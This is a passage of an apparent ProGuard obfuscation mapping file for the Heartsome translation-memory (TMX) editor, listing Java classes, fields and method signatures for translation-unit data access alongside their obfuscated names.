updateTuProp(java.util.Map,net.heartsome.cat.common.bean.TmxProp,java.lang.String,java.lang.String) -> updateTuProp + void deleteTuProp(java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxProp) -> deleteTuProp + void deleteTuProp(java.util.Map,net.heartsome.cat.common.bean.TmxProp) -> deleteTuProp + void deleteTuPropByType(java.util.Map,java.lang.String) -> deleteTuPropByType + void addTuAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String,java.lang.String) -> addTuAttribute + void updateTuAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String,java.lang.String) -> updateTuAttribute + void updateTuAttribute(java.util.Map,java.lang.String,java.lang.String) -> updateTuAttribute + void deleteTuAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String) -> deleteTuAttribute + void deleteTuAttribute(java.util.Map,java.lang.String) -> deleteTuAttribute + void addTuvAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxSegement,java.lang.String,java.lang.String) -> addTuvAttribute + void updateTuvAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxSegement,java.lang.String,java.lang.String) -> updateTuvAttribute + void deleteTuvAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxSegement,java.lang.String) -> deleteTuvAttribute + java.util.List getTgtEmptyTU(java.lang.String) -> getTgtEmptyTU + java.util.List getDuplicatedTU(java.lang.String,java.lang.String,boolean) -> getDuplicatedTU + java.util.List getDuplicatedSrcDiffTgtTU(java.lang.String,java.lang.String,boolean) -> getDuplicatedSrcDiffTgtTU + net.heartsome.cat.common.bean.TmxTU getTuByIdentifier(java.lang.String) -> getTuByIdentifier + boolean deleteTgtEmpty(org.eclipse.core.runtime.IProgressMonitor,boolean) -> deleteTgtEmpty + boolean deleteDupaicate(org.eclipse.core.runtime.IProgressMonitor,boolean,boolean) -> deleteDupaicate + boolean deleteSameSrcDiffTgt(org.eclipse.core.runtime.IProgressMonitor,boolean,boolean) -> deleteSameSrcDiffTgt + boolean deleteEndsSpaces(org.eclipse.core.runtime.IProgressMonitor) -> deleteEndsSpaces + void batchUpdateTuAttr(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.lang.String) -> batchUpdateTuAttr + void batchDeleteTuAttr(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String) -> batchDeleteTuAttr + void batchAddTmxProp(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.lang.String) -> batchAddTmxProp + void batchUpdateTmxProp(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.common.bean.TmxProp,java.lang.String,java.lang.String,java.lang.String) -> batchUpdateTmxProp + void batchDeleteTmxProp(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.common.bean.TmxProp,java.lang.String) -> batchDeleteTmxProp + void batchDeleteTmxPropByType(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String) -> batchDeleteTmxPropByType + void batchUpdateTuvAttr(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.util.List,java.lang.String) -> batchUpdateTuvAttr + void batchDeleteTuvAttr(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.util.List,java.lang.String) -> batchDeleteTuvAttr + void batchAddTmxNote(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String) -> batchAddTmxNote + void batchUpdateTmxNote(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.lang.String) -> batchUpdateTmxNote + void batchDeleteTmxNote(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String) -> batchDeleteTmxNote + void beginQA(java.lang.String,java.lang.String,boolean,boolean) -> beginQA + boolean isReadOnly() -> isReadOnly + void updateCacheTuAttr(net.heartsome.cat.common.bean.TmxTU,java.lang.String,java.lang.String) -> updateCacheTuAttr + void updateCacheTuvAttr(net.heartsome.cat.common.bean.TmxSegement,java.lang.String,java.lang.String) -> updateCacheTuvAttr + void writeString(java.io.FileOutputStream,java.lang.String,java.lang.String) -> writeString + void updateTuPropType(java.util.Map,net.heartsome.cat.common.bean.TmxProp,java.lang.String) -> updateTuPropType + void batchUpdateTmxPropType(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.common.bean.TmxProp,java.lang.String,java.lang.String) -> batchUpdateTmxPropType +net.heartsome.cat.te.core.tmxdata.DataAccessFactory -> net.heartsome.cat.te.core.tmxdata.DataAccessFactory: + net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess createDataAccess(net.heartsome.cat.te.core.tmxdata.TmxContainer) -> createDataAccess +net.heartsome.cat.te.core.tmxdata.DatabaseDataAccess -> net.heartsome.cat.te.core.tmxdata.DatabaseDataAccess: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.te.core.tmxdata.TmxDbContainer container -> jY + net.heartsome.cat.database.TMXDBOperatorFacade facade -> in + java.lang.String retrieveTuXml(int) -> retrieveTuXml + void closeTmxDataAccess(org.eclipse.core.runtime.IProgressMonitor) -> closeTmxDataAccess + void save(org.eclipse.core.runtime.IProgressMonitor) -> save + void saveAs(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.te.core.bean.ExportBean) -> saveAs + net.heartsome.cat.te.core.bean.TmxPropertiesBean loadTmxProperties() -> loadTmxProperties + void loadDisplayTuIdentifierByFilter(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.te.core.bean.TmxEditorFilterBean,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> loadDisplayTuIdentifierByFilter + java.util.List getCustomFilterTuPK(net.heartsome.cat.database.DBOperator,net.heartsome.cat.te.core.bean.TmxEditorFilterBean,java.lang.String,java.lang.String,boolean,boolean) -> getCustomFilterTuPK + java.lang.String addTu(net.heartsome.cat.common.bean.TmxTU,java.lang.String) -> addTu + void deleteTus(java.lang.String[],org.eclipse.core.runtime.IProgressMonitor) -> deleteTus + void updateTuvContent(java.lang.String,java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxSegement) -> updateTuvContent + void updateTuNote(java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxNote,java.lang.String) -> updateTuNote + void updateTuNote(java.util.Map,net.heartsome.cat.common.bean.TmxNote,java.lang.String) -> updateTuNote + void deleteTuNote(java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxNote) -> deleteTuNote + void deleteTuNote(java.util.Map,net.heartsome.cat.common.bean.TmxNote) -> deleteTuNote + int addTuNote(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String) -> addTuNote + int addTuNote(java.util.Map,java.lang.String) -> addTuNote + int addTuProp(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String,java.lang.String) -> addTuProp + int addTuProp(java.util.Map,java.lang.String,java.lang.String) -> addTuProp + void addTuAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String,java.lang.String) -> addTuAttribute + void addTuvAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxSegement,java.lang.String,java.lang.String) -> addTuvAttribute + void deleteTuAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String) -> deleteTuAttribute + void deleteTuAttribute(java.util.Map,java.lang.String) -> deleteTuAttribute + void updateTuvAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxSegement,java.lang.String,java.lang.String) -> updateTuvAttribute + java.lang.String getTuvAttrName(java.lang.String) -> E + void updateTuProp(java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxProp,java.lang.String,java.lang.String) -> updateTuProp + void updateTuProp(java.util.Map,net.heartsome.cat.common.bean.TmxProp,java.lang.String,java.lang.String) -> updateTuProp + void deleteTuProp(java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxProp) -> deleteTuProp + void deleteTuPropByType(java.util.Map,java.lang.String) -> deleteTuPropByType + void deleteTuProp(java.util.Map,net.heartsome.cat.common.bean.TmxProp) -> deleteTuProp + void deleteTuvAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxSegement,java.lang.String) -> deleteTuvAttribute + void updateTuAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String,java.lang.String) -> updateTuAttribute + void updateTuAttribute(java.util.Map,java.lang.String,java.lang.String) -> updateTuAttribute + net.heartsome.cat.common.bean.TmxTU copyTu(net.heartsome.cat.common.bean.TmxTU) -> j + java.util.List getTgtEmptyTU(java.lang.String) -> getTgtEmptyTU + net.heartsome.cat.common.bean.TmxTU getTuByIdentifier(java.lang.String) -> getTuByIdentifier + boolean deleteTgtEmpty(org.eclipse.core.runtime.IProgressMonitor,boolean) -> deleteTgtEmpty + boolean deleteDupaicate(org.eclipse.core.runtime.IProgressMonitor,boolean,boolean) -> deleteDupaicate + boolean deleteSameSrcDiffTgt(org.eclipse.core.runtime.IProgressMonitor,boolean,boolean) -> deleteSameSrcDiffTgt + boolean deleteEndsSpaces(org.eclipse.core.runtime.IProgressMonitor) -> deleteEndsSpaces + void batchUpdateTuAttr(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.lang.String) -> batchUpdateTuAttr + void batchDeleteTuAttr(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String) -> batchDeleteTuAttr + void batchAddTmxProp(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.lang.String) -> batchAddTmxProp + void batchUpdateTmxProp(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.common.bean.TmxProp,java.lang.String,java.lang.String,java.lang.String) -> batchUpdateTmxProp + void batchDeleteTmxProp(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.common.bean.TmxProp,java.lang.String) -> batchDeleteTmxProp + void batchUpdateTuvAttr(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.util.List,java.lang.String) -> batchUpdateTuvAttr + void batchDeleteTuvAttr(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.util.List,java.lang.String) -> batchDeleteTuvAttr + void batchAddTmxNote(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String) -> batchAddTmxNote + void batchUpdateTmxNote(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.lang.String) -> batchUpdateTmxNote + void batchDeleteTmxNote(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String) -> batchDeleteTmxNote + java.util.List getDuplicatedTU(java.lang.String,java.lang.String,boolean) -> getDuplicatedTU + java.util.List searchText(java.lang.String,java.lang.String,int,boolean,boolean,boolean) -> searchText + java.util.List getDuplicatedSrcDiffTgtTU(java.lang.String,java.lang.String,boolean) -> getDuplicatedSrcDiffTgtTU + boolean isDirty() -> isDirty + boolean isSourceExist() -> isSourceExist + void beginQA(java.lang.String,java.lang.String,boolean,boolean) -> beginQA + boolean isReadOnly() -> isReadOnly + void updateTuPropType(java.util.Map,net.heartsome.cat.common.bean.TmxProp,java.lang.String) -> updateTuPropType + void batchUpdateTmxPropType(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.common.bean.TmxProp,java.lang.String,java.lang.String) -> batchUpdateTmxPropType +net.heartsome.cat.te.core.tmxdata.ITmxDataChangeListener -> net.heartsome.cat.te.core.tmxdata.ITmxDataChangeListener: + void tmxDataChanged() -> tmxDataChanged +net.heartsome.cat.te.core.tmxdata.TmxContainer -> net.heartsome.cat.te.core.tmxdata.TmxContainer: + org.slf4j.Logger LOGGER -> LOGGER + void parseFile(com.ximpleware.VTDGen,java.io.File,org.eclipse.core.runtime.IProgressMonitor) -> parseFile + int countFileTuNumber(net.heartsome.xml.vtdimpl.VTDUtils) -> countFileTuNumber +net.heartsome.cat.te.core.tmxdata.TmxContainerFactory -> net.heartsome.cat.te.core.tmxdata.TmxContainerFactory: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.te.core.tmxdata.TmxContainer createContainer(java.io.File) -> createContainer + net.heartsome.cat.te.core.tmxdata.TmxContainer createLargeFileContainer(java.io.File,org.eclipse.core.runtime.IProgressMonitor) -> createLargeFileContainer + net.heartsome.cat.te.core.tmxdata.TmxContainer createContainer(net.heartsome.cat.common.bean.DatabaseModelBean) -> createContainer +net.heartsome.cat.te.core.tmxdata.TmxDbContainer -> net.heartsome.cat.te.core.tmxdata.TmxDbContainer: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.common.bean.DatabaseModelBean dbModelBean -> jZ + net.heartsome.cat.database.DBOperator dbOp -> ka + net.heartsome.cat.common.bean.DatabaseModelBean getDbModelBean() -> getDbModelBean + net.heartsome.cat.database.DBOperator getDbOp() -> getDbOp + void loadDatabaseOperator() -> loadDatabaseOperator + void connectDatabase() -> connectDatabase + void closeDatabaseConnection() -> closeDatabaseConnection +net.heartsome.cat.te.core.tmxdata.TmxFileContainer -> net.heartsome.cat.te.core.tmxdata.TmxFileContainer: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String filePath -> filePath + net.heartsome.cat.common.bean.TmxHeader headerNode -> kb + int tuTotalNumber -> kc + net.heartsome.xml.vtdimpl.VTDUtils vu -> ap + java.util.List tuIndexCache -> kd + void parseFileWithVTD() -> parseFileWithVTD + java.lang.String getFilePath() -> getFilePath + long getFileSize() -> getFileSize + net.heartsome.cat.common.bean.TmxHeader getHeaderNode() -> getHeaderNode + int getTuTotalNumber() -> getTuTotalNumber + net.heartsome.xml.vtdimpl.VTDUtils getVTDUtils() -> getVTDUtils + java.util.List getAllLanguages() -> getAllLanguages + java.util.List getTUIndexCache(boolean) -> getTUIndexCache + com.ximpleware.VTDGen parseFile(java.io.File) -> c + void loadTmxHeader(net.heartsome.xml.vtdimpl.VTDUtils) -> a + void save(com.ximpleware.XMLModifier) -> save +net.heartsome.cat.te.core.tmxdata.TmxFileDataAccess -> net.heartsome.cat.te.core.tmxdata.TmxFileDataAccess: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.te.core.tmxdata.TmxFileContainer container -> ke + java.lang.String xpath -> hI + java.lang.String retrieveTuXml(int) -> retrieveTuXml + void closeTmxDataAccess(org.eclipse.core.runtime.IProgressMonitor) -> closeTmxDataAccess + void save(org.eclipse.core.runtime.IProgressMonitor) -> save + void saveAs(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.te.core.bean.ExportBean) -> saveAs + boolean isSourceExist() -> isSourceExist + net.heartsome.cat.te.core.bean.TmxPropertiesBean loadTmxProperties() -> loadTmxProperties + void loadDisplayTuIdentifierByFilter(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.te.core.bean.TmxEditorFilterBean,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> loadDisplayTuIdentifierByFilter + java.lang.String addTu(net.heartsome.cat.common.bean.TmxTU,java.lang.String) -> addTu + void deleteTus(java.lang.String[],org.eclipse.core.runtime.IProgressMonitor) -> deleteTus + void updateTuvContent(java.lang.String,java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxSegement) -> updateTuvContent + void updateTuNote(java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxNote,java.lang.String) -> updateTuNote + void deleteTuNote(java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxNote) -> deleteTuNote + int addTuNote(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String) -> addTuNote + int addTuProp(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String,java.lang.String) -> addTuProp + void addTuAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String,java.lang.String) -> addTuAttribute + void addTuvAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxSegement,java.lang.String,java.lang.String) -> addTuvAttribute + void deleteTuAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String) -> deleteTuAttribute + void updateTuvAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxSegement,java.lang.String,java.lang.String) -> updateTuvAttribute + void updateTuProp(java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxProp,java.lang.String,java.lang.String) -> updateTuProp + void deleteTuProp(java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxProp) -> deleteTuProp + void deleteTuvAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxSegement,java.lang.String) -> deleteTuvAttribute + void updateTuAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String,java.lang.String) -> updateTuAttribute + java.util.List getTgtEmptyTU(java.lang.String) -> getTgtEmptyTU + java.util.List getDuplicatedTU(java.lang.String,java.lang.String,boolean) -> getDuplicatedTU + java.util.List getDuplicatedSrcDiffTgtTU(java.lang.String,java.lang.String,boolean) -> getDuplicatedSrcDiffTgtTU + net.heartsome.cat.common.bean.TmxTU getTuByIdentifier(java.lang.String) -> getTuByIdentifier + boolean deleteTgtEmpty(org.eclipse.core.runtime.IProgressMonitor,boolean) -> deleteTgtEmpty + boolean deleteDupaicate(org.eclipse.core.runtime.IProgressMonitor,boolean,boolean) -> deleteDupaicate + boolean deleteSameSrcDiffTgt(org.eclipse.core.runtime.IProgressMonitor,boolean,boolean) -> deleteSameSrcDiffTgt + boolean deleteEndsSpaces(org.eclipse.core.runtime.IProgressMonitor) -> deleteEndsSpaces + void batchUpdateTuAttr(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.lang.String) -> batchUpdateTuAttr + void batchDeleteTuAttr(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String) -> batchDeleteTuAttr + void batchAddTmxProp(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.lang.String) -> batchAddTmxProp + void batchUpdateTmxProp(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.common.bean.TmxProp,java.lang.String,java.lang.String,java.lang.String) -> batchUpdateTmxProp + void batchDeleteTmxProp(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.common.bean.TmxProp,java.lang.String) -> batchDeleteTmxProp + void batchUpdateTuvAttr(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.util.List,java.lang.String) -> batchUpdateTuvAttr + void batchDeleteTuvAttr(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.util.List,java.lang.String) -> batchDeleteTuvAttr + void batchAddTmxNote(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String) -> batchAddTmxNote + void batchUpdateTmxNote(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.lang.String) -> batchUpdateTmxNote + void batchDeleteTmxNote(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String) -> batchDeleteTmxNote + void beginQA(java.lang.String,java.lang.String,boolean,boolean) -> beginQA + boolean isReadOnly() -> isReadOnly +net.heartsome.cat.te.core.tmxdata.TmxLargeFileContainer -> net.heartsome.cat.te.core.tmxdata.TmxLargeFileContainer: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String mainfilePath -> kf + net.heartsome.cat.common.bean.TmxHeader header -> ge + int tuTotalNumber -> kc + java.util.List subFiles -> kg + java.util.Map vus -> kh + java.util.List allLangList -> ki + java.lang.String mainFileEncoding -> kj + java.lang.String tmxVersion -> N + java.lang.String doctypeContent -> kk + boolean openFile(java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> openFile + void openFile(java.lang.String,java.util.List,org.eclipse.core.runtime.IProgressMonitor) -> openFile + void close() -> close + boolean save(org.eclipse.core.runtime.IProgressMonitor) -> save + java.lang.String getMainFilePath() -> getMainFilePath + long getFileSize() -> getFileSize + int getTuTotalNumber(boolean) -> getTuTotalNumber + net.heartsome.cat.common.bean.TmxHeader getTmxHeader() -> getTmxHeader + java.util.List getSubFiles() -> getSubFiles + net.heartsome.xml.vtdimpl.VTDUtils getVTDUtils(java.lang.String) -> getVTDUtils + java.util.List getAllLanguages(boolean) -> getAllLanguages + java.lang.String getDoctypeContent() -> getDoctypeContent + java.lang.String getTmxVersion() -> getTmxVersion + void openSubFiles(org.eclipse.core.runtime.IProgressMonitor) -> b + void loadTmxHeader(com.ximpleware.VTDNav) -> b + void loadAllLang(org.eclipse.core.runtime.IProgressMonitor) -> c + boolean beforeOpenFile(com.ximpleware.VTDNav,org.eclipse.core.runtime.IProgressMonitor) -> a + void initTmxVersion(com.ximpleware.VTDNav) -> c + void setSubFiles(java.util.List) -> setSubFiles +net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess -> net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.te.core.tmxdata.TmxLargeFileContainer container -> jv + java.lang.String retrieveTuXml(int) -> retrieveTuXml + void closeTmxDataAccess(org.eclipse.core.runtime.IProgressMonitor) -> closeTmxDataAccess + void save(org.eclipse.core.runtime.IProgressMonitor) -> save + boolean isSourceExist() -> isSourceExist + void saveAs(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.te.core.bean.ExportBean) -> saveAs + net.heartsome.cat.te.core.bean.TmxPropertiesBean loadTmxProperties() -> loadTmxProperties + void loadDisplayTuIdentifierByFilter(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.te.core.bean.TmxEditorFilterBean,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> loadDisplayTuIdentifierByFilter + java.lang.String addTu(net.heartsome.cat.common.bean.TmxTU,java.lang.String) -> addTu + void deleteTus(java.lang.String[],org.eclipse.core.runtime.IProgressMonitor) -> deleteTus + void updateTuvContent(java.lang.String,java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxSegement) -> updateTuvContent + void updateTuNote(java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxNote,java.lang.String) -> updateTuNote + void updateTuNote(java.util.Map,net.heartsome.cat.common.bean.TmxNote,java.lang.String) -> updateTuNote + void deleteTuNote(java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxNote) -> deleteTuNote + void deleteTuNote(java.util.Map,net.heartsome.cat.common.bean.TmxNote) -> deleteTuNote + int addTuNote(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String) -> addTuNote + int addTuNote(java.util.Map,java.lang.String) -> addTuNote + void addTuAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String,java.lang.String) -> addTuAttribute + void updateTuAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String,java.lang.String) -> updateTuAttribute + void updateTuAttribute(java.util.Map,java.lang.String,java.lang.String) -> updateTuAttribute + com.ximpleware.XMLModifier updateAttrByXpath(com.ximpleware.XMLModifier,java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,java.lang.String,java.lang.String) -> a + void deleteTuAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String) -> deleteTuAttribute + void deleteTuAttribute(java.util.Map,java.lang.String) -> deleteTuAttribute + com.ximpleware.XMLModifier deleteAttrByXpath(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils) -> a + void addTuvAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxSegement,java.lang.String,java.lang.String) -> addTuvAttribute + void updateTuvAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxSegement,java.lang.String,java.lang.String) -> updateTuvAttribute + void deleteTuvAttribute(java.lang.String,net.heartsome.cat.common.bean.TmxSegement,java.lang.String) -> deleteTuvAttribute + int addTuProp(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String,java.lang.String) -> addTuProp + int addTuProp(java.util.Map,java.lang.String,java.lang.String) -> addTuProp + void updateTuProp(java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxProp,java.lang.String,java.lang.String) -> updateTuProp + void updateTuProp(java.util.Map,net.heartsome.cat.common.bean.TmxProp,java.lang.String,java.lang.String) -> updateTuProp + void deleteTuProp(java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxProp) -> deleteTuProp + void deleteTuProp(java.util.Map,net.heartsome.cat.common.bean.TmxProp) -> deleteTuProp + void deleteTuPropByType(java.util.Map,java.lang.String) -> deleteTuPropByType + java.util.List getTgtEmptyTU(java.lang.String) -> getTgtEmptyTU + java.util.List getDuplicatedTU(java.lang.String,java.lang.String,boolean) -> getDuplicatedTU + java.util.List getDuplicatedSrcDiffTgtTU(java.lang.String,java.lang.String,boolean) -> getDuplicatedSrcDiffTgtTU + net.heartsome.cat.common.bean.TmxTU getTuByIdentifier(java.lang.String) -> getTuByIdentifier + void save2SubFile(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier) -> a + boolean updateNode(com.ximpleware.XMLModifier,net.heartsome.xml.vtdimpl.VTDUtils,java.lang.String,java.lang.String) -> a + void addNode(com.ximpleware.XMLModifier,net.heartsome.xml.vtdimpl.VTDUtils,java.lang.String,java.lang.String) -> b + void addNodeAttribute(com.ximpleware.XMLModifier,net.heartsome.xml.vtdimpl.VTDUtils,java.lang.String,java.lang.String) -> c + void batchModifyDocument(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.util.List,net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$BatchModifyContext) -> a + void clearSelectLinesInnerTag(org.eclipse.core.runtime.IProgressMonitor,java.util.List) -> clearSelectLinesInnerTag + void batchAddTuAttr(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.lang.String) -> batchAddTuAttr + void batchUpdateTuAttr(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.lang.String) -> batchUpdateTuAttr + void batchDeleteTuAttr(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String) -> batchDeleteTuAttr + void batchAddTmxProp(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.lang.String) -> batchAddTmxProp + void batchUpdateTmxProp(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.common.bean.TmxProp,java.lang.String,java.lang.String,java.lang.String) -> batchUpdateTmxProp + void batchDeleteTmxProp(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.common.bean.TmxProp,java.lang.String) -> batchDeleteTmxProp + void batchDeleteTmxPropByType(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String) -> batchDeleteTmxPropByType + void batchAddTuvAttr(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> batchAddTuvAttr + void batchUpdateTuvAttr(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.util.List,java.lang.String) -> batchUpdateTuvAttr + void batchDeleteTuvAttr(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.util.List,java.lang.String) -> batchDeleteTuvAttr + void batchAddTmxNote(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String) -> batchAddTmxNote + void batchUpdateTmxNote(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String,java.lang.String) -> batchUpdateTmxNote + void batchDeleteTmxNote(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String) -> batchDeleteTmxNote + void batchdeleteTuvBylang(java.util.List,org.eclipse.core.runtime.IProgressMonitor) -> batchdeleteTuvBylang + void batchModifyLangcode(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> batchModifyLangcode + void cleanDisplayTuInnerTag(org.eclipse.core.runtime.IProgressMonitor) -> cleanDisplayTuInnerTag + void batchTrimSegs(org.eclipse.core.runtime.IProgressMonitor) -> batchTrimSegs + boolean deleteTgtEmpty(org.eclipse.core.runtime.IProgressMonitor,boolean) -> deleteTgtEmpty + boolean deleteDupaicate(org.eclipse.core.runtime.IProgressMonitor,boolean,boolean) -> deleteDupaicate + boolean deleteSameSrcDiffTgt(org.eclipse.core.runtime.IProgressMonitor,boolean,boolean) -> deleteSameSrcDiffTgt + java.util.Map parseIdentiterIds(java.util.List) -> parseIdentiterIds + java.lang.String generateNewTuHsId(net.heartsome.xml.vtdimpl.VTDUtils) -> generateNewTuHsId + boolean deleteEndsSpaces(org.eclipse.core.runtime.IProgressMonitor) -> deleteEndsSpaces + void beginQA(java.lang.String,java.lang.String,boolean,boolean) -> beginQA + boolean isReadOnly() -> isReadOnly + void filterTu(java.lang.String,java.lang.String,java.lang.String,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> a + boolean checkSearchString(net.heartsome.xml.vtdimpl.VTDUtils,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> a + java.lang.String getSegPureText(net.heartsome.xml.vtdimpl.VTDUtils) -> b + void updateTuPropType(java.util.Map,net.heartsome.cat.common.bean.TmxProp,java.lang.String) -> updateTuPropType + void batchUpdateTmxPropType(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.common.bean.TmxProp,java.lang.String,java.lang.String) -> batchUpdateTmxPropType +net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$1 -> net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$1: + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess this$0 -> kl + com.ximpleware.VTDException val$e -> km + void run() -> run +net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$10 -> net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$10: + 